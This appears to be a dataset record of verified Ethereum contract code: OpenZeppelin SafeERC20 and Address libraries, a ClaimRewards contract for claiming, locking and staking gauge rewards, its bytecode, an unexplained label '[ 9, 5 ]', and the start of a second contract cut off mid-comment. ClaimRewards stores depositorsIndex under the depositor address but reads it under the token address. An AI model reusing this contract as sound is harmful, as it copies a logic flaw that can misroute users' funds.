failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IDepositor { function deposit(uint256 amount, bool lock, bool stake, address user) external; function minter() external returns(address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; interface ILiquidityGauge { struct Reward { address token; address distributor; uint256 period_finish; uint256 rate; uint256 last_update; uint256 integral; } // solhint-disable-next-line function deposit_reward_token(address _rewardToken, uint256 _amount) external; // solhint-disable-next-line function claim_rewards_for(address _user, address _recipient) external; // // solhint-disable-next-line // function claim_rewards_for(address _user) external; // solhint-disable-next-line function deposit(uint256 _value, address _addr) external; // solhint-disable-next-line function reward_tokens(uint256 _i) external view returns(address); // solhint-disable-next-line function reward_data(address _tokenReward) external view returns(Reward memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IVeSDT { struct LockedBalance { int128 amount; uint256 end; } function create_lock(uint256 _value, uint256 _unlock_time) external; function increase_amount(uint256 _value) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function deposit_for_from(address, uint256) external; function locked(address) external returns(LockedBalance memory); function balanceOf(address) external returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/ILiquidityGauge.sol"; import "../interfaces/IDepositor.sol"; import "../interfaces/IVeSDT.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; // Claim rewards contract: // 1) Users can claim rewards from pps gauge and directly receive all tokens collected. // 2) Users can choose to direcly lock tokens supported by lockers (FXS, ANGLE) and receive the others not supported. // 3) Users can choose to direcly lock tokens supported by lockers (FXS, ANGLE) and stake sdToken into the gauge, then receives the others not supported. contract ClaimRewards { // using SafeERC20 for IERC20; address public constant SDT = 0x73968b9a57c6E53d41345FD57a6E6ae27d6CDB2F; address public constant veSDT = 0x0C30476f66034E11782938DF8e4384970B6c9e8a; address public governance; mapping(address => address) public depositors; mapping(address => uint256) public depositorsIndex; mapping(address => bool) public gauges; struct LockStatus { bool[] locked; bool[] staked; bool lockSDT; } uint256 public depositorsCount; uint256 private immutable MAX_REWARDS = 8; event GaugeEnabled(address gauge); event GaugeDisabled(address gauge); event DepositorEnabled(address token, address depositor); event DepositorDisabled(address token, address depositor); event Recovered(address token, uint256 amount); event RewardsClaimed(address[] gauges); event RewardClaimedAndLocked(address[] gauges, bool locks, bool stake); event RewardClaimedAndSent(address user, address[] gauges); constructor() { governance = msg.sender; } modifier onlyGovernance() { require(msg.sender == governance, "!gov"); _; } /// @notice A function to claim rewards from all the gauges supplied /// @param _gauges Gauges from which rewards are to be claimed function claimRewards(address[] calldata _gauges) external { uint256 gaugeLength = _gauges.length; for (uint256 index = 0; index < gaugeLength; ++index) { require(gauges[_gauges[index]], "Gauge not enabled"); ILiquidityGauge(_gauges[index]).claim_rewards_for(msg.sender, msg.sender); } emit RewardsClaimed(_gauges); } /// @notice A function that allows the user to claim, lock and stake tokens retrieved from gauges /// @param _gauges Gauges from which rewards are to be claimed /// @param _lockStatus Status of locks for each reward token suppported by depositors and for SDT function claimAndLock(address[] memory _gauges, LockStatus memory _lockStatus) external { LockStatus memory lockStatus = _lockStatus; require(lockStatus.locked.length == lockStatus.staked.length, "different length"); require(lockStatus.locked.length == depositorsCount, "different depositors length"); uint256 gaugeLength = _gauges.length; // Claim rewards token from gauges for (uint256 index = 0; index < gaugeLength; ++index) { address gauge = _gauges[index]; require(gauges[gauge], "Gauge not enabled"); ILiquidityGauge(gauge).claim_rewards_for(msg.sender, address(this)); // skip the first reward token, it is SDT for any LGV4 // it loops at most until max rewards, it is hardcoded on LGV4 for (uint256 i = 1; i < MAX_REWARDS; ++i) { address token = ILiquidityGauge(gauge).reward_tokens(i); if (token == address(0)) { break; } address depositor = depositors[token]; uint256 balance = IERC20(token).balanceOf(address(this)); if (balance != 0) { if (depositor != address(0) && lockStatus.locked[depositorsIndex[token]]) { IERC20(token).approve(depositor, balance); if (lockStatus.staked[depositorsIndex[token]]) { IDepositor(depositor).deposit(balance, false, true, msg.sender); } else { IDepositor(depositor).deposit(balance, false, false, msg.sender); } } else { SafeERC20.safeTransfer(IERC20(token), msg.sender, balance); } uint256 balanceLeft = IERC20(token).balanceOf(address(this)); require(balanceLeft == 0, "wrong amount sent"); } } } // Lock SDT for veSDT or send to the user if any uint256 balanceBefore = IERC20(SDT).balanceOf(address(this)); if (balanceBefore != 0) { if (lockStatus.lockSDT && IVeSDT(veSDT).balanceOf(msg.sender) > 0) { IERC20(SDT).approve(veSDT, balanceBefore); IVeSDT(veSDT).deposit_for_from(msg.sender, balanceBefore); } else { SafeERC20.safeTransfer(IERC20(SDT), msg.sender, balanceBefore); } require(IERC20(SDT).balanceOf(address(this)) == 0, "wrong amount sent"); } emit RewardsClaimed(_gauges); } /// @notice A function that rescue any ERC20 token /// @param _token token address /// @param _amount amount to rescue /// @param _recipient address to send token rescued function rescueERC20( address _token, uint256 _amount, address _recipient ) external onlyGovernance { require(_recipient != address(0), "can't be zero address"); SafeERC20.safeTransfer(IERC20(_token), _recipient, _amount); emit Recovered(_token, _amount); } /// @notice A function that enable a gauge /// @param _gauge gauge address to enable function enableGauge(address _gauge) external onlyGovernance { require(_gauge != address(0), "can't be zero address"); require(gauges[_gauge] == false, "already enabled"); gauges[_gauge] = true; emit GaugeEnabled(_gauge); } /// @notice A function that disable a gauge /// @param _gauge gauge address to disable function disableGauge(address _gauge) external onlyGovernance { require(_gauge != address(0), "can't be zero address"); require(gauges[_gauge], "already disabled"); gauges[_gauge] = false; emit GaugeDisabled(_gauge); } /// @notice A function that add a new depositor for a specific token /// @param _token token address /// @param _depositor depositor address function addDepositor(address _token, address _depositor) external onlyGovernance { require(_token != address(0), "can't be zero address"); require(_depositor != address(0), "can't be zero address"); require(depositors[_token] == address(0), "already added"); depositors[_token] = _depositor; depositorsIndex[_depositor] = depositorsCount; ++depositorsCount; emit DepositorEnabled(_token, _depositor); } /// @notice A function that set the governance address /// @param _governance governance address function setGovernance(address _governance) external onlyGovernance { require(_governance != address(0), "can't be zero address"); governance = _governance; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063ab033ea91161008c578063ca36418b11610066578063ca36418b14610200578063e9de65fd14610220578063eed75f6d14610233578063f9f031df1461025c57600080fd5b8063ab033ea91461019f578063b9a09fd5146101b2578063ba32c619146101e557600080fd5b8063202d31b7116100c8578063202d31b71461012a5780633a561ae2146101625780635aa6e6751461017957806377662ffc1461018c57600080fd5b806304e29ee9146100ef578063084b86fe146101045780632009c4b114610117575b600080fd5b6101026100fd3660046114f5565b61026f565b005b6101026101123660046114f5565b61037e565b61010261012536600461161f565b61047a565b610145730c30476f66034e11782938df8e4384970b6c9e8a81565b6040516001600160a01b0390911681526020015b60405180910390f35b61016b60045481565b604051908152602001610159565b600054610145906001600160a01b031681565b61010261019a366004611568565b610d60565b6101026101ad3660046114f5565b610e03565b6101d56101c03660046114f5565b60036020526000908152604090205460ff1681565b6040519015158152602001610159565b6101457373968b9a57c6e53d41345fd57a6e6ae27d6cdb2f81565b61016b61020e3660046114f5565b60026020526000908152604090205481565b61010261022e36600461152f565b610e75565b6101456102413660046114f5565b6001602052600090815260409020546001600160a01b031681565b61010261026a3660046115aa565b610fd9565b6000546001600160a01b031633146102a25760405162461bcd60e51b815260040161029990611808565b60405180910390fd5b6001600160a01b0381166102c85760405162461bcd60e51b815260040161029990611826565b6001600160a01b03811660009081526003602052604090205460ff16156103235760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b6044820152606401610299565b6001600160a01b038116600081815260036020908152604091829020805460ff1916600117905590519182527fd588143c0e7170a40c980934518322d8cf93a066a70f87c65b4bdb87e88efc6791015b60405180910390a150565b6000546001600160a01b031633146103a85760405162461bcd60e51b815260040161029990611808565b6001600160a01b0381166103ce5760405162461bcd60e51b815260040161029990611826565b6001600160a01b03811660009081526003602052604090205460ff166104295760405162461bcd60e51b815260206004820152601060248201526f185b1c9958591e48191a5cd8589b195960821b6044820152606401610299565b6001600160a01b038116600081815260036020908152604091829020805460ff1916905590519182527fdc080beba4e2a6fbff49d578c14c58736d3911a7a717e2f4d539786699268c9a9101610373565b6020810151518151518291146104c55760405162461bcd60e51b815260206004820152601060248201526f0c8d2cccccae4cadce840d8cadccee8d60831b6044820152606401610299565b600454815151146105185760405162461bcd60e51b815260206004820152601b60248201527f646966666572656e74206465706f7369746f7273206c656e67746800000000006044820152606401610299565b825160005b81811015610a0857600085828151811061053957610539611903565b6020908102919091018101516001600160a01b0381166000908152600390925260409091205490915060ff166105a55760405162461bcd60e51b815260206004820152601160248201527011d85d59d9481b9bdd08195b98589b1959607a1b6044820152606401610299565b60405163224d299d60e11b81523360048201523060248201526001600160a01b0382169063449a533a90604401600060405180830381600087803b1580156105ec57600080fd5b505af1158015610600573d6000803e3d6000fd5b506001925050505b7f00000000000000000000000000000000000000000000000000000000000000088110156109f5576040516354c49fe960e01b8152600481018290526000906001600160a01b038416906354c49fe99060240160206040518083038186803b15801561067357600080fd5b505afa158015610687573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ab9190611512565b90506001600160a01b0381166106c157506109f5565b6001600160a01b038181166000818152600160205260408082205490516370a0823160e01b81523060048201529316929091906370a082319060240160206040518083038186803b15801561071557600080fd5b505afa158015610729573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074d9190611705565b905080156109e1576001600160a01b0382161580159061079c575087516001600160a01b0384166000908152600260205260409020548151811061079357610793611903565b60200260200101515b156109165760405163095ea7b360e01b81526001600160a01b0383811660048301526024820183905284169063095ea7b390604401602060405180830381600087803b1580156107eb57600080fd5b505af11580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082391906116e8565b506020808901516001600160a01b038516600090815260029092526040909120548151811061085457610854611903565b6020026020010151156108d55760405163d0f492f760e01b81526004810182905260006024820152600160448201523360648201526001600160a01b0383169063d0f492f7906084015b600060405180830381600087803b1580156108b857600080fd5b505af11580156108cc573d6000803e3d6000fd5b50505050610921565b60405163d0f492f760e01b81526004810182905260006024820181905260448201523360648201526001600160a01b0383169063d0f492f79060840161089e565b610921833383611139565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a082319060240160206040518083038186803b15801561096357600080fd5b505afa158015610977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099b9190611705565b905080156109df5760405162461bcd60e51b81526020600482015260116024820152701ddc9bdb99c8185b5bdd5b9d081cd95b9d607a1b6044820152606401610299565b505b505050806109ee906118da565b9050610608565b505080610a01906118da565b905061051d565b506040516370a0823160e01b81523060048201526000907373968b9a57c6e53d41345fd57a6e6ae27d6cdb2f906370a082319060240160206040518083038186803b158015610a5657600080fd5b505afa158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e9190611705565b90508015610d225782604001518015610b2b57506040516370a0823160e01b8152336004820152600090730c30476f66034e11782938df8e4384970b6c9e8a906370a0823190602401602060405180830381600087803b158015610af157600080fd5b505af1158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b299190611705565b115b15610c405760405163095ea7b360e01b8152730c30476f66034e11782938df8e4384970b6c9e8a6004820152602481018290527373968b9a57c6e53d41345fd57a6e6ae27d6cdb2f9063095ea7b390604401602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf91906116e8565b5060405163301d4a0d60e01b815233600482015260248101829052730c30476f66034e11782938df8e4384970b6c9e8a9063301d4a0d90604401600060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b50505050610c5f565b610c5f7373968b9a57c6e53d41345fd57a6e6ae27d6cdb2f3383611139565b6040516370a0823160e01b81523060048201527373968b9a57c6e53d41345fd57a6e6ae27d6cdb2f906370a082319060240160206040518083038186803b158015610ca957600080fd5b505afa158015610cbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce19190611705565b15610d225760405162461bcd60e51b81526020600482015260116024820152701ddc9bdb99c8185b5bdd5b9d081cd95b9d607a1b6044820152606401610299565b7f6aa3772a6c360399a94a3da6248e7e99e029bce1a1f57c7b90b2bfa3c1aa7f3585604051610d519190611788565b60405180910390a15050505050565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b815260040161029990611808565b6001600160a01b038116610db05760405162461bcd60e51b815260040161029990611826565b610dbb838284611139565b604080516001600160a01b0385168152602081018490527f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa2891015b60405180910390a1505050565b6000546001600160a01b03163314610e2d5760405162461bcd60e51b815260040161029990611808565b6001600160a01b038116610e535760405162461bcd60e51b815260040161029990611826565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e9f5760405162461bcd60e51b815260040161029990611808565b6001600160a01b038216610ec55760405162461bcd60e51b815260040161029990611826565b6001600160a01b038116610eeb5760405162461bcd60e51b815260040161029990611826565b6001600160a01b038281166000908152600160205260409020541615610f435760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481859191959609a1b6044820152606401610299565b6001600160a01b03828116600090815260016020908152604080832080546001600160a01b0319169486169485179055600480549484526002909252822083905591610f8e906118da565b90915550604080516001600160a01b038085168252831660208201527fbf078383c4bd46a14442044440ddb21a1a5b1fb4cc7c907a5826e52689cc9e02910160405180910390a15050565b8060005b818110156111075760036000858584818110610ffb57610ffb611903565b905060200201602081019061101091906114f5565b6001600160a01b0316815260208101919091526040016000205460ff1661106d5760405162461bcd60e51b815260206004820152601160248201527011d85d59d9481b9bdd08195b98589b1959607a1b6044820152606401610299565b83838281811061107f5761107f611903565b905060200201602081019061109491906114f5565b60405163224d299d60e11b8152336004820181905260248201526001600160a01b03919091169063449a533a90604401600060405180830381600087803b1580156110de57600080fd5b505af11580156110f2573d6000803e3d6000fd5b5050505080611100906118da565b9050610fdd565b507f6aa3772a6c360399a94a3da6248e7e99e029bce1a1f57c7b90b2bfa3c1aa7f358383604051610df692919061173a565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261118b908490611190565b505050565b60006111e5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166112629092919063ffffffff16565b80519091501561118b578080602001905181019061120391906116e8565b61118b5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610299565b6060611271848460008561127b565b90505b9392505050565b6060824710156112dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610299565b843b61132a5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610299565b600080866001600160a01b03168587604051611346919061171e565b60006040518083038185875af1925050503d8060008114611383576040519150601f19603f3d011682016040523d82523d6000602084013e611388565b606091505b50915091506113988282866113a3565b979650505050505050565b606083156113b2575081611274565b8251156113c25782518084602001fd5b8160405162461bcd60e51b815260040161029991906117d5565b600082601f8301126113ed57600080fd5b813560206114026113fd83611886565b611855565b80838252828201915082860187848660051b890101111561142257600080fd5b60005b8581101561144a57813561143881611947565b84529284019290840190600101611425565b5090979650505050505050565b60006060828403121561146957600080fd5b6040516060810167ffffffffffffffff828210818311171561148d5761148d611919565b8160405282935084359150808211156114a557600080fd5b6114b1868387016113dc565b835260208501359150808211156114c757600080fd5b506114d4858286016113dc565b60208301525060408301356114e881611947565b6040919091015292915050565b60006020828403121561150757600080fd5b81356112748161192f565b60006020828403121561152457600080fd5b81516112748161192f565b6000806040838503121561154257600080fd5b823561154d8161192f565b9150602083013561155d8161192f565b809150509250929050565b60008060006060848603121561157d57600080fd5b83356115888161192f565b925060208401359150604084013561159f8161192f565b809150509250925092565b600080602083850312156115bd57600080fd5b823567ffffffffffffffff808211156115d557600080fd5b818501915085601f8301126115e957600080fd5b8135818111156115f857600080fd5b8660208260051b850101111561160d57600080fd5b60209290920196919550909350505050565b6000806040838503121561163257600080fd5b823567ffffffffffffffff8082111561164a57600080fd5b818501915085601f83011261165e57600080fd5b8135602061166e6113fd83611886565b8083825282820191508286018a848660051b890101111561168e57600080fd5b600096505b848710156116ba5780356116a68161192f565b835260019690960195918301918301611693565b50965050860135925050808211156116d157600080fd5b506116de85828601611457565b9150509250929050565b6000602082840312156116fa57600080fd5b815161127481611947565b60006020828403121561171757600080fd5b5051919050565b600082516117308184602087016118aa565b9190910192915050565b60208082528181018390526000908460408401835b8681101561177d5782356117628161192f565b6001600160a01b03168252918301919083019060010161174f565b509695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156117c95783516001600160a01b0316835292840192918401916001016117a4565b50909695505050505050565b60208152600082518060208401526117f48160408501602087016118aa565b601f01601f19169190910160400192915050565b60208082526004908201526310b3b7bb60e11b604082015260600190565b60208082526015908201527463616e2774206265207a65726f206164647265737360581b604082015260600190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561187e5761187e611919565b604052919050565b600067ffffffffffffffff8211156118a0576118a0611919565b5060051b60200190565b60005b838110156118c55781810151838201526020016118ad565b838111156118d4576000848401525b50505050565b60006000198214156118fc57634e487b7160e01b600052601160045260246000fd5b5060010190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461194457600080fd5b50565b801515811461194457600080fdfea264697066735822122088ff68712c20ee3db02888bcf4a44b3ec45a89f4136811546962b72200da1bc764736f6c63430008070033
[ 9, 5 ]
0xf31063cb71fe5d48c0a6d8f47ec956c9a812345e
// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as 